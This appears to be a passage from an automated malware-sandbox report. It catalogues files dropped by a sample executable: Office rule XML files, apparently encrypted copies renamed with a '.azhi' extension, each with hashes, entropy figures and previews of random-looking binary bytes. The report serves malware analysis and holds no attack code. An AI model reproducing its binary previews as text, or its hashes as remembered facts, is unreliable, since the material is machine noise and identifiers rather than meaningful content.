Preview:	<?xml01D......s.QQ^.ro.....+.S..a........[P...^w.:x.\.J!...f..j.... .>...8.p.h..$.)...<...N.....J..y.PY_....[.:.;...yC...i....L..h..R.%.....C..^.,O.q.S......6@.9:...b\|.....4Wl.I.._yu..D.G^.]....}..aO.......}.yj......!...6.vkR........MX)~q..m..aoC..rP..W...."!...;f:`.$.h....$..C..3......7....Q.8....z.2.@@.....$G....zIid..)..`w...d@.#.qx&.g.P?\|..=.F...C!8.....w..R-.v....1..tAQl!,E.U..'&../yP.....g..#..4.......u.....\....@...L../>.....Ia4....,S..7tn`...2.N...7i..:..?......N..yNG...B.<.w.;..0..>..........C..d-#....g."..Ims]F%Gr.Xk(.Z..P>../.c..84.lB.(..$3%..C".V.K..;...'61...0n3-.@...9Q....QU\|xi...}.hY4.;g.Nx.x..bd..%....;...a........J6./...".....O. >...a...Fi3~I...qt........B.lB....Q~\|. 8....K@Z..Ss....(...K.C...sb.K$.......HX.}.2...@<v.....kv.=..%.8.aEDk./....A.wED..(.H.'......+.+.3c:B..R...E+...U..=w..8.N...^w..?.h..J..1..........t..o.<....d....j}m.....,..#\R.....1&..,k........hx[.a......A........a.Q...._..C...g..#B......".q\.1..[\z.._

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.94212386964985
Encrypted:	false
SSDEEP:	96:bOi1lUlmmoMXFjQpGtAhU+Ua33kd/+zl1gK0wUnqgTZ:9rUBoMVjQNYaHkd/+J1gK2nLTZ
MD5:	6B7C8F26D1D34A55EA3FE2CD346A10B1
SHA1:	FC9BC281988397AEFBB9BDEB975B8FD5325657E9
SHA-256:	3A3BB8912D7F68D78AB190B1EEBEAE469051E85884316E730942E837A257D570
SHA-512:	55D60C88C7C5BF30A2AF10B1CE47F23A770EFD3D3A05F204246F0AC0BEE5EBF1ADE2557227E846F3DE58C9C973F9B5E15EE24C2572DAE27BCF5F1F96CF534565
Malicious:	false
Preview:	<?xml...}x.)d...\P.Ja...o.\|.....2.+>...n.........Z#O.:.X..rbc:l"%..w8.D}V....a.}...S...Z .x.G'\|.:.Sz...h.A.4D..\|L......='..T..>.."5(p....)...$..#f...C<...d'0[8P.n...&...#....?.y.<..1.I._.-..#....&\.8.8f.......XJ...YT.rV........->q.(..`x{..b.....SN....<..$.!].....C...K/..D.Ww..AL`2.K..g).V....-..N....6).%'M{......8?~....sSBD..4......8..a)....(.n.U@_..hTO.i.4.0"&.....L.^...".>a.....jla...?.'1g.t.3?dK.3X..'.v.O.rl..a..3....E..[.a..}j..Z..wD.....R.fF+J..6N.R..z0Eze.s.a\|'no.......u.k..d.k=.F.Qz....@......%.HK...p@.A......Jn2..3[.....<.S...u.y$t....``..(.90..Q.33anL(...".FL......L.&...\...\..fpB3=K...<.G(.P..x.....x.Q.>...1...N)...?1M .W=.9...W......{......>...?.2.....RoM7.5...p....{0?...ifa-.2....>.qJ.E.C......"p"....U.(.0..!..+./.."..x..e.3..j.'~.JR......................7..p...@Z.AqY......q)..s...Y-.;.M..n...6..k..5.......L...0....D.m.jD-`..J..].g..zL.?0...X.....0.<8)MPP..F....l..#n.....~t+.l........h/.-..J./......?.r..L...:......P*..n@

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.777616261752299
Encrypted:	false
SSDEEP:	24:eLXBhyJwpZCqk/v3DrlnpCaF+AzoSwNI0SPATe7e9bD:mXBhFPCqknTrlEKfzoSwNgn2D
MD5:	FD1B603292097E200F0B6A58729ACC92
SHA1:	F236F96B7C2CAECACAD937FFC9F98427E0F55FC3
SHA-256:	E594274522DDE25D7D6C5B5289DD3C67BE538D95591F1977A027E2125FECD523
SHA-512:	2ECC8421108F63DE2FB63F424E410A1773EB4A0858D03AB47498E8026C03662722186F39ED7FE9FA102ACAA63014E35944185F6FBD27ED6225AAF27A81E6B83A
Malicious:	false
Preview:	<?xmliN..Vl..4.7..R..%.......N..O3....S`.e\.d;..,H...][O..=..x.;HD.][.=..+...."..=.E.F...Dd....z.\..~....)z......P.....FB=o....3"#ai_Y.7.\.l.'[<FH{....-....f5.^...!.\c....~.....+.;:....Z..h....b....vY.......6.....&v.Z@z..D....+.:.p..rX.?.g..\|\|:Ly.-..:...e.bYb.R..YR\|.d...Mi..Q.2..g.29....(....!..<..}.=....w.,..3..=1\.Ab.K.......x..9...=K.,.5B...+..-g.%.Y.8s..+.}..\|..Y.76z...k..J.v`U.u...cQ0..V.D.k-P....b]v......P..P.../.r$.+..T...V..V1.Z7<J.\|..R.~-.a..Z..e5a<w.i...t....}ZQ...?tPf.y...FQ..lv...osA....T".v..@.6......k......Q$..X. .q....c;.I..D.. .U.F_.1.,.Jw..,..]OOM.n..:.6....._.>...Wi...S0<b..1?,._.}..k.[..z......M.Q.Zf..8.\.......E..z.:p..#..9......j.b.<r...........%-.,.J.wh.R...oSH7 ..k8....R&.}B....m..3.....,cbno.^...S{..y.%T.K(%wt...[..n..Q1..m....1..j....qij.] ..V..g:.... ..}....J..2W..2..P#P..R.......Q4js..t.......t.$.'...OR.^...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.923594421860223
Encrypted:	false
SSDEEP:	48:O1lyx+sS9YONc6258sBKQlHYSDkPpBYDB/jDQbbNNbNwXcSAD3+I5d5u9dB+F/Or:CyU9clescaHrDGYDB/jDQPN/EiKKXw86
MD5:	A2B3F7AB15E7D81E5326018F4F003515
SHA1:	75B7F62FCBFD405AB1F3AFCD4A6790A1DC3A2ABC
SHA-256:	C7060F72C94FA96052C8F7226B21D2821FC45919A4CB7BAFAD9304959FD4BEC1
SHA-512:	2AB6EAA581A802E55D988A7BFC7F9A21DF529C600AB7736F79398D15C740DAE56A115A02D9A0AF0AC85EDF0B046CA6665374059BCB5546226E34211FE0DEC493
Malicious:	false
Preview:	<?xmlA:!..#.2.\|.v.....J&..Ff65...]kx.....p6.C....K....W..88.../._."...P.i.;t...(.C.....Sj../$.D...d.\.....;.............L.C..}....c.(..{].#........:."....xO^....C.c.Z.....Z.B-f..<..l..j3.'.1..a..........Dx.....#K..3...........O...............]..3..pa.V...,[1.V..w..+........$.\..XJ.2.....c.....%4.\H\|..a.o...f....v.s..Y....2..Tz..9.\6J.5....E........}.w-..I9.KLO...........E,.(.L1*..F].A....(.6..C9..^.......\2...a..gD..t......4...?.9eZ...8...k.&<!F.R. ..t.P?r2~......R..T..I...}.4o.!%...\|.....(.@........V..<.i....{.H.b.K^..C..U}u...b...-._...E ........Jv.3.R.......i1.....%.-.8.....#......9...M..J.d..._......v....^.......\..g...5.Q........G......u`.6.x5....h.uKJ.c.......2.r.&..q...H.ws...^IHFV.......P.9...',.....g..YX.N..J...@)WI..a....hl..o.g...r...tIcW.\|.q...p..2.........n.).~..$_.<.M.Bqwd....D;U....'.CcB........-.....mz..[.........0.ts..=...2.<......S.D)z-P.A.r...2u(}...b.cq.BO..E.....-.N.FG..3L..U.@..}5......L4../ ...+..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.918415016604646
Encrypted:	false
SSDEEP:	48:BR1rDlG/AdzaDtzLozFgdt5uB222hQVGD10iAYhi3QvQRJJnHA2T5YOD+VzD:m/AdgzLozCt562XSGBhi3Z9H/T5LiVf
MD5:	4E01377AC1CB819ACC19851EC134D0B0
SHA1:	A6411B68F456D537F5C17D756A5D129ECA733148
SHA-256:	80A280DDE30484CCBAB8D3710DC17F7275218BB4DD208B9938BC8F296BE1278B
SHA-512:	8292C4A7226647F8526C810BD5D73EE99ED9A2F24857298F6E924A809E2FF9F9E3E0AA28B5A61A8A8A90E6EB4F5AAA0BEB17E04D9AFA36F2932947C172C3BEAD
Malicious:	false
Preview:	<?xml{.M.:.v/R.........G.P.>{.1..h$H.M.....U2...Q.PP."\|.K..7.6.u.M.0w...'.}..Xh....=.....qR.eh....Sn....N....Q..X?.(.R...y.5...&+).?.'ST^;.v...).(.pf...\WSV....q5C....L.C9...A(G.&lE.#......0.oWw..0L....}....\|.n.yt.M&..`.....FM.@....I MI$..l.s..L....p....hn.X..a.+-F<.a..fN.O"..=...jw...l.;.1....'.R.?..\?]{./..[......~?..J#.U..K)..a.r(g..'...M.N-.:..9...U.9..$_p..'T...^.....$0....ZZ.......!.,..:l..?....M.M...?s......J...........U.Yui..'.p.E..N.'.b.?.4.$Q..Y.e.........X.....RB.q..X.......`......X...E(.......:.....c....z.x.%y..E..1.t.%..H+.k.nP......./iH..x.)..C....;.......A%..e.P.......v[GW....o;k..U..._Y...<..c.m).$..;0Q...^...oN8F.E#.. .J.e.....q1...... .T...{..1^..K.r9.8...q.........GO)..vt.".GA.....)9s\m.~o.....\|s..&,.v..=h.jj('p.9......&.6.N`.G....[i&.#$4q.X.d.._T.%........a........7NS.D~.#.@.N.9D..2"9.o^ZH...pA....\|.p...\|Epil....T+..'...V{Z.3.th.?..rlv4......=od....)..k..12.R-(D....B.+#...y{....\]3.?....`^..;".K..[G....2..".e..].9.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.936892553726951
Encrypted:	false
SSDEEP:	48:pN9t+o/ZM5GKNmVQjQQsRptkedW9eldnaLUtmPxriPZC19y5lpkC9D:nHN/ZM5GfCEQsnhdvl1tm5enp7F
MD5:	DFDCFF28E0FC22771C1DEC44363DE3F9
SHA1:	8D0A1B34B3E3AE1E0CE3D5553491A14AAAE12E84
SHA-256:	0F6665C5C4DB83A5AA4DA72407A3689B314327798EA34DB036947568AE7E4942
SHA-512:	04A75714E20E5784BE4E53199E9FED58FC5DF7A5908921D0B3AFFDB29705D62914814A0180DAED6C101B7E6A21BF5891CD1FA99860654EB934728E9541C1360C
Malicious:	false
Preview:	<?xml.........#.dS..1.Y..}GK..o1yF..e\|x.H?..N...!....2..1[Z5...E.&..EMp...V..C.\}.wnXC81Tq....+;...Ff......H.#M....s.M\|`N3,qC.u.5...g......=u..........uc[A.N.......6i.i.lU\|2%tU/K.T..hpsHS5..a.V..N..4i...Z.a....9K....3zq.....R..&..\|...K...!..r.bu.L=...)......[......./i.....hHl0.;T.^.]..r%.B-.!...7.X....S.x....GD.?mxW...<.Q..V..r..e....RH=5..Z..i.VL.p...4........L}..j..Af.\|J..V.5.........8;@x!..h=Z.G.....9&0..!...../~...s....O....K.c........;.j.f.....dD.o.t6.D80..x....f.T....a..Q... ..3...A.Q.!.~.d..l...M+._K{4....].@d$.Wc..+o.N..[.Tt...\M]..yoe..f.:..r.B..$J5{.}........2y......;..Mpr..... .............4#..{...z....F.....2...g.#.....H...La...~D].WY..i...\j..H...2y.....4E=.....B...f.O....q...;.9;.....e..qgD..c...4)..............S.P<.....O.5.U.9;..T..y.+...Z..Wy_)7........m........8.I.P..:...,.....q%;.o.......B..D..~:..x#.*........d.x...c.......6.i..D3.h{.W..O.....\|)...).<..Y..P.x...T...'..,&-P..qEdn.P......m.G...........)_H$z.O.k.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.964399957078177
Encrypted:	false
SSDEEP:	96:HPIhH6zJNzEgikwRIP+fu8oQZY10DIUdzVQv7RhcYD:Ha2j7PX8ox1sIR1hca
MD5:	66331A61133F739024FFDA12899F7235
SHA1:	C848C22CB7E955A3DE85A7EFCDB8E15E37EFB3C9
SHA-256:	9A57BA321901CB01F4430C93EDC9E29F8A7BE57F146AFED8EF7D73FAB1BD9FB9
SHA-512:	78932D67828DFB07CC13AA6C5D51B0227296D4461EE000B96B1FC8E6F7F1EB2425ECA4EE5DEF502549B0B0CFA980A62689A9CF9C9A7B11C912EB508F45AEF100
Malicious:	false
Preview:	<?xml.yc..~.V..D...\'.........yY.....$.;...............np...1..VL....b......`.m.......$...^0...AU.s...,...~..!<..\]..4P....e...........y.....AGl..N.4.#`....8.....g.Lg.Q..j..........~G....k...gy...F....h.P..Q$d..z;....@Q.u..s.]......t.=.s.f%....h.G........... U..\|'......@P`.....U. P../2J.JA....p.....i..].d#.Ji.o.;i....>...0.^J.N.i.5d..Y#.!!j%z{..K9..V....j...~..rL....L.x....e.v...F.vG..FB..&&v.d.:........Dz....C.....E..:.f....MU.G...t...,r...R...".cbi.XB.W.C.x...6...Mj.. ...VV..;SYM/...a.J.....BFld. Yc..]..c..2..6........{P....\Lv....pq.,......2P..m...i....s...{\|\.p.%Bv\|.~j.F!....~B..........<.Q .bK..X...!.L_.x.i.%..kCR....i..s...s..w..U...c}.F....O...c.U....R....0...o.r.m..7.N5;.H.....x....]h....7.!..v..A.n..r......3~.s.....hBC=..]a.<.1D..W..q.@...Xz.z.t...P...y........F+..4...N..K..:..wz{u..u.M.=_..._.-Oef>~..].t\.A.e.9!.v...b..}.....k...et.A.....a. .<..U...Z...q........5..........?&..).#V,.tIf.%..0K...._{`o....k.j.T...>..P.F .

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.971175634766857
Encrypted:	false
SSDEEP:	96:Hwr40CUYSAZ94AF51FImzv+oRX+4a4RibpV5Ak14XnUCtqWkf+LF/XvqkQk/M:Qr1B12rImzmoJq7bbd4XU/Wki91Qk0
MD5:	3432D4563E6893335BCC1F8C7A9DCBD7
SHA1:	45BAD98412D3FF1636A27A4ACB95FAD9065B2CA5
SHA-256:	AC88365AE10EAF11F4A9701E3FCF7876C35567B2B92882D5970BDA8633D2E84E
SHA-512:	2CF4C28A7A6076E69893C22975FF8ED9627CBC431FC88E7A8CF31FF9A9C7897EA8123FDCC6AB2A99CE13E9D3F1609A2C8DF9E6913A3C5B779EA8406A0C312DEE
Malicious:	false
Preview:	<?xmlY..!:..z..... .!g$.'...........4.v.YM.}f\...-...{...C..A>4.>....R,../.S...,...$]...k_...Y;@..)...j./..J.RQ.....Dk'..C...~o..H.g.%..l...&.H...21....v.....j..'o.}c.].dM....N...x~.Ot....~.qJ..1...q.M...?.K./E...!....~;.ki.....4.61.tZ.E[I..G.R.......I9t.j.B.[.'HD.5v..Y6... .k)r.>..(T..H.3.4.1.........t{. \|.ux.c{Y\|.....G.Cv.....l.n..p.i.....x#9.+..(TzU...........x...C".~o8...".aQz.h..z.s..BP+...(<q...$..j.@..........!%..r:.\|48c....z.w.e...(M...._l2.M.....(......r]P..rn..>?:.S..z..-m.I.bO..w$P\j8...N#...H...T../........t..h.....fDY..(=3.W..Kx..4..\|E.r..5,...y.;[..K..@.......b..Lm5..N.......b.&Np....Z6....Tna0.....^.+W<.z..^.~.s.../.C^.!.P...`.i.dynK.8....]...P......%9...fN.r.....p.Q.2...2"ym.V.^\|l8....5.......=^.6Lh...i....L...........?r..[pu...l.AV.xbb72..\|[........l.....\...$].. .5.d>......m....p&a....Py...........Y...o..2..W.......A.w.MSm.~}.\.qf.K.v......UW..i...7.gK5QF.....p....!.Q..t.^.~...E4.1...-.jFw......?v..-

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.973064817007785
Encrypted:	false
SSDEEP:	192:lwJdr69gpPh7TGCmjHWIBRNvkhNgaCVNnq:Ik+5FMWIBHvkN
MD5:	D59D99BF62AE89AEACC2F1686EC622CF
SHA1:	D56142098599FD87CF4C7A6C38BC6CB3F16598D6
SHA-256:	5EB457549F0D871767BF07B52D10BCE47366D9CE1555434B989B38A852A4C627
SHA-512:	CD2BAAF472EBE0614EE989EE8D2A142690DF263258D4032587FF3377BC5D896D2220B7303D748F50E7CB350F3472F2136D897A62E1693540E7E7977F2E2ECFD2
Malicious:	false
Preview:	<?xmlx......h..t..W.v.5..\.$...\W!.........U<I.p.Cf..C...a.s.f..B....u......$v.%.H......z.=.%..V..$r..q~..q'b..d..3.2Vu..,...U.`..._.,......^.Cv.r5.`F.m....juUdA#H...d...^.s.%.J..)a..{@W.Q......"(..t.U...d<x.f..A.B.R..-....r^".i.}t.$....rx..X..M..C.4.}x..6...x2~x@.G..5...M....o..KV.C.f-0"...`.O.8.h..:..4.....N..@...c.;.2q.......!,......Y[y''3.g..$.`...z....k.W..@...]..m&x2X]..y..=T.sG.`}....\&..G=.5..c\|,.X.6?....cpX...z..q..&....k....g~....$ ...Q. .T.i#.y;u.@......b.r..pc5......@......k.Kz5.......0..Z.m}....h..<.(.7.9.bo~.,!..v%R.2./0.+,.5R,...-.z.3i..-..A.G{q4J..f.P>H].~....e.r.s.{...O...E.^k...zn.......[...l@;..4..\.`.,.U-.8L......b......M.u.....$8...2-V.X....fm..D..0.@uO6....6.\|.G....VM!'...;.=...+.Zc..x0.}>3.....Y.........u...#.?[s.dd...e.u..z....K..cL..[..=0....{T1.M4.T.Do..Q.m-.@IK.&.Q1.5...:1j.4.:.D.0m....`.:v..L..z+........n..I....:i.^...e.F...;d.}.3...j.....!...T<U.[..b...G.7....\|....3....g.....b.y.ck4Vb.T~.V!6.n...P\|.S

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.861614556330478
Encrypted:	false
SSDEEP:	48:vlJccvZ/coUEruXYYSz2NDDr+qLIsdeM+tzG5vsf15D:v3hvzruXYY0fq0W+ekx
MD5:	ECADE6E341BD124356699A445BE241EB
SHA1:	0C9BAA6CA6D491146565F25604A121BE9A239303
SHA-256:	E297D74B005B74EFD55B15B32E4B45CC612092AD64B176FDA0187474E6093F21
SHA-512:	03A64B529EBA084458B475C44CA85D450C82E0A6E02E8B570E83691DF7ACAA7DCBA796AA5E474A9CB3C9972510374CE7109C261C17527088513F932D5D0A0B88
Malicious:	false
Preview:	<?xml{....M...{........^%..#2..B.q}.o'....90w......<J...$.-..!.b..]C.(p....k@G....$~..&...i.iYX......K....-.G.F....)\K.P..k..W.........@..N'p..&.&...EJ..^..O......yKL.v!.4..[Nq.w.P{\|..fo......0.F.p." ..Jo....#..Y....-.....a....Qb....7.Khw.n.y.6.........%..M.....@X&..:........Ms./...~.)o....A.4...~..-F..G..D...q.>A7.....u0K...s~.ri.@.........!..1..xKr..-Z.&.....~.6.M..h...'.K.2....?;.C...FK.....6R.D../..H...0.4.F.E....w..MFC....Wg.4^.."KX&........H'.T...J.;L.......}..9......y.......#.6..Dw.... ./\|..A......0...Lv.#..........ar....._.....b...f".5.. .s.c6v.j.=.&....;..t.=_..5.....R.!..2w........ac./....$...[.4....?...\|..=...g.E..;..n3O} j..7.+S....s....M.K.>.P$.....T.~.fc..V..V........U..A..8).S.W.rI......._..A.>.4...a....._H.C.....h...y.-...L.+j.d....tN_[...W...w..pGp.0.....B...*....1...q?............Y.i.Q2...MBd...:._.......G.n+Z...........D....T........H#...O.Y...f.,".7.E...O.t..c...E.zP.:.k.`...H0...B..d.~.'V.s".,...F...;..e....?.\aO.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.880821713764277
Encrypted:	false
SSDEEP:	48:osUGiqOrg/G6UdihIOfXBrY+NOi5dC2m9vb/tYD:sng/PUd9iBrYWo2Wq
MD5:	60C70662DF1FB9C129A2F4D42971CF66
SHA1:	B93CD3B78A610CAE4B86B63DEA19A2576D30FAFA
SHA-256:	7D73B8B3DDA17E4BF1813B1B2C0583FA44FD1148C0EC5E69C30A9D5A421C7594
SHA-512:	3B85AB42979DBFEC7ABDB327E1407EBF60F7AEBC599661E3EB0AE6BDC120452CA0645255073C7A92B7B66EDEA6EB91DA2041749B367E8B6B6F72FA2C09F131AD
Malicious:	false
Preview:	<?xml.I.0....1`Y.'.\|:.4NDFb..2..=>......;..$....B.......6..T"..h.i.j...0.^l..4.._...V9.....C...pgi.yGaw.. 4.`-.I...B^.Vrr...).X.xI..../..sG.....H...r....V.."...Hq..>G.....;..Sj. .g...{.r:...........\|.s...x.3...N..C.._.x..f...%yc..W.<./uqR5.....DR..q..>KHY..MT.~.i....-.....Sq..=7Sj....:43-..I..9h...n....8..i...Y..#..bRg.i9.."Z0......7y.@%....6j.L.@- ..f...._...d.)a.....0m%8...C..\|`..VU.....0(.e>.\|5"H......'.5.L.%..d4x...B.z.......h.'}.3.wbt;b1....{....K......q..e9."..I-..($.3Q!.uh....-.B.#i.h.v=.'~V...T&(p.>4....9..y.GB......b...W..9.../....q...f. ..\|i....q...Vgjc.&...V...\(.......).F......B....(g..]..........k ..+.5}\|{...........B.....@^9..&......,W.vh#c`5..h<.=.$.@'...w..........."2.Z...L.6.#.~../jsV.!w...5.....}./.........m./.6Ly4..4../J....$...A%...L.L?.......s.N.=....h.e^..;.!....8.u..<ie..`.."._A2)\.cM.........^......*I...z...B..q..h1.6......r.E..-..n...~[.xo+.Z.~?....=..I....:...C..8 .W......EX..+dz.,...;.2f...1..uw..K.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.878660088872749
Encrypted:	false
SSDEEP:	48:FqkTCw+WwAimuwNJJJldpYpzfzz9PHxp3Eyll9D:FqSCw+WwAimZJzdpYpzzhPHxpUyllF
MD5:	8A87226CFD035985D0BF5554E4B7FF9E
SHA1:	4732F3E142A3DFEBD3CEAA8A7E9BF7F5E462DD31
SHA-256:	B3656B8D882DD5A1FF9190E9A621050B5F7D010C576541828DD3CD39B75AB6B5
SHA-512:	4DEC6B94E21E7A01880871A2E532C951B6FEBA8C685DF59063A67967F637D3505C46EB289E7F3AE878F813BBBB27F277A998B4500C958406F370CCD077CBA7DA
Malicious:	false
Preview:	<?xml.......s._...UC..e..P....Q.z.Q.D.....Ak.x...)..p}..8.0e.B}..`.....%'...)..>..Kh;...~.......BlG6..a-....}3f.O...@@..H..4...f..8../.j...V..S......WcTp...c..q;R.._........W...vt.R.<.P..%Z.../.-.M\...`d.....b..&.sTTM....u.Kk5..D.&.Fc#.do].p....Y...65.?...Q...[.E.]L.].'.i..#.CK..-Z..is.Q[....@.VE.U..........W.9.....'2@.n....rI.o....-..M..{QX.. ..6..L.l.9.w4F..o87.I..t.0Ts...2....a...P..}..B....r....4.R......gi.OZf..\,.G..>..v.....X2X8..........M..`....\.%.:w.v.q...m....[CQ....x.<........r...l.c..PN.f.+..R.......UC....n...&c./../X.g.8.c)b...9..-.}hu..(0..!..5o.r..w....u...X.D.+.{...L........._".M..m.gkb1xq...g....GULnA..k...9%....9bD.S.Zy.q...h$..~2..['X.h:G...p4X.I[......O1...8...a.@....\]ad"...Y.=.N.Q.9....&..M0^.].$. I.v..........b..&...P,c.53..T..u..;y.E..4W...........=U..%..b...x..>.T.f..$...gm..q0.....yUd.\.$.../w.YO.*.M.g....h.R...n.(...2.L....p.....p.......O....M.0..yp.j.c[.L.. ...\3.s&..-..q..........8..N..z...q..E.E..p,.7....w]s..-

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.873495341941618
Encrypted:	false
SSDEEP:	24:SeGM2+zcIxwociNczXo8K9hnvqYq9UEuoA6zFjxVVPcbUpxadO/r+MIfN6fxWU9X:Se6ITNczMhvqH9UEFxPc4zNbs8D
MD5:	B4C257D2ACEE5289FDE4C6CA552AA6DD
SHA1:	7EA4E78267F6F9AE0FB75B8F29EAD547877266AA
SHA-256:	D70E342BD004DBF62B0880EA6DB764EA9B3BA195C8633F0FC182B63C2957931A
SHA-512:	7BD94D9F6594CE755E6B1C22C3A49BFB29D577D02EFE89F096B66BD877FF4BE57FBA7494053C3A5A5546F39F521AB4C4EB21D58D7C79DA565EFA0541943ACF24
Malicious:	false
Preview:	<?xml..h....x4...;....l.;h"h.\...J......'.>.?..<Y.a..^.IW....o......"..~...'S..C.9'...<.j~....%.Cr...[4....b.yfw......-.....5..w..lE....\.y..uG\0.i./...y..H...f.[.%08../..d..`])h.2..<!...$s.d}..&l2...U.!MC..,k..+.....^P%.y...J4cPq!.t.V.....X.A..0$..+.-k.c....`.....v...Q.n...s...Q.2.6sP....yi....;0.f"5.d5a;R.....5...?.(.V.e.. h.-....o+. ;.....D..\|..T4h.N..q.S_.!..Q.\|..+.I....&.).BK.~KuF..........t..b`^...z1%hYs?......~."X-..k.V.XT..v...&.PM..!.....m..r.HT....R.....Z.z...?....'.k....@.hk....VU...O.S.P..}..O..rz/.u.ec...L8s2..d.D.h..b....gTf~.^..5.....[..z.4O..}Xsx....m..U\|+._.Bc...8.e...s@.DJ.T=...-....Z..DE..6.iB.a$V0\Iv.Ul.K;Cj)@..~.s...}........m....u...z[....Ts&....}oa\|.=.EU....c."b.......<r......C_.!6...)..).l..A....p...x.*...[.6un.....E.?.bAD/.)......R...j.T^{.o.v..l.<.R.r..K.Z.o..{..w.S....`[......H.##.'[..L;...g=1...=\.>.......s.Z.&.].."...[.S...bL.....Z.....vWW..nbM-.C.<3.\......-...U...`.9..&3Q..7..>Uo.E.=cz..^c.:.......Jw..P......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.856977079298047
Encrypted:	false
SSDEEP:	24:wrXmiUErftlkSL3xt3Q3Wkd5r1CXi+yZGLK7FOVpjGrsE46De3bD:w7trl13biVBGuSZWsE4OiD
MD5:	49C812C7F43CDC890C720D0D80BD8CB9
SHA1:	BACF7AB1D64CD18ED686F1700B1EBEFE763DEAD2
SHA-256:	258367BDFFCC44108A050D495D19A50BDF5ED1B3BB1F5B659961DAF944666C22
SHA-512:	BF0E9EC0F75E6A0A44DBD6A4FD3B71EF70652CE684FC7EC27FBF25434742CC50018ABD44B8814A797C8A32B60D72C254B74CF55AF1673B589AF224EC76DB8593
Malicious:	false
Preview:	<?xmlM....+(VKF\|U`.1Y..O.r...S...9..j'....r...D.R.d\|.....q....H".'....T!....eE.v....6kI..G.......]4.......,..a..@7....C.&......,.U>.5=..2.........{.k.,...M2.~..v.?F..".".D).Tv.V[..}....s.%.R}H.......G.^:..Tn.......N.v../x&...g.-.[..hO.X.....h+.6.VdBd.TT..@.\|..f.U...2...e.QY. .?'.0......H....]...~)....x...?..YV....;).4d.....4.'H\|y..`.P\|@...\|....so$..=... ~.Ti...I.....>....5.......j..o.e6J...?.+.pY..P........(y0O.Gh.pd..8/.Ht.,AZ....g.}.....)8.....>........udah_.{.AU,.............u.>;..nS.4..}...5......r.}9......Vv......../...K.B../. ?....9,I5r..].v.m.aZ.....e.W..i{z{;.y.r...#x-`.?......,...e...+%O..NTa..e.....V.E..GW.P.........&..>...../...}..eq...(...J'.{AW%.1.$.....(x...c....Z..r.....3..u\o.B..G....v2..!.....s.4?n$ .K1..q..s...A..N.n.......F.ts.HUB...F]..+.O.g...[...?)6))..:..x......"..}Kp\.M.h..4..@op.e.-.-i.......F7....u..r..WV.EF+.e".k.....4..SyU.9..5M4.e....n.X.3.qJi.......ma../...&!.k<_....<..._.B..e//.....c..-....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.863041160324981
Encrypted:	false
SSDEEP:	24:gslAiLDYBxDcvAjMbydSIo9V0JWn/nGT7ownhrb21sxv2/nW/TF1T1OOxLjvuKZX:blN3YsKM5R8C1sxu/WrHT1LXGMD
MD5:	3AF16DD550E140A01842EE3D74B8D425
SHA1:	3056F810DA7583DC2AAC5C6F42C1F340121E6F23
SHA-256:	4163DD6555F43A795FBAFA1AA72A0F7CB7AC5BA64220FF442916E389517D8503
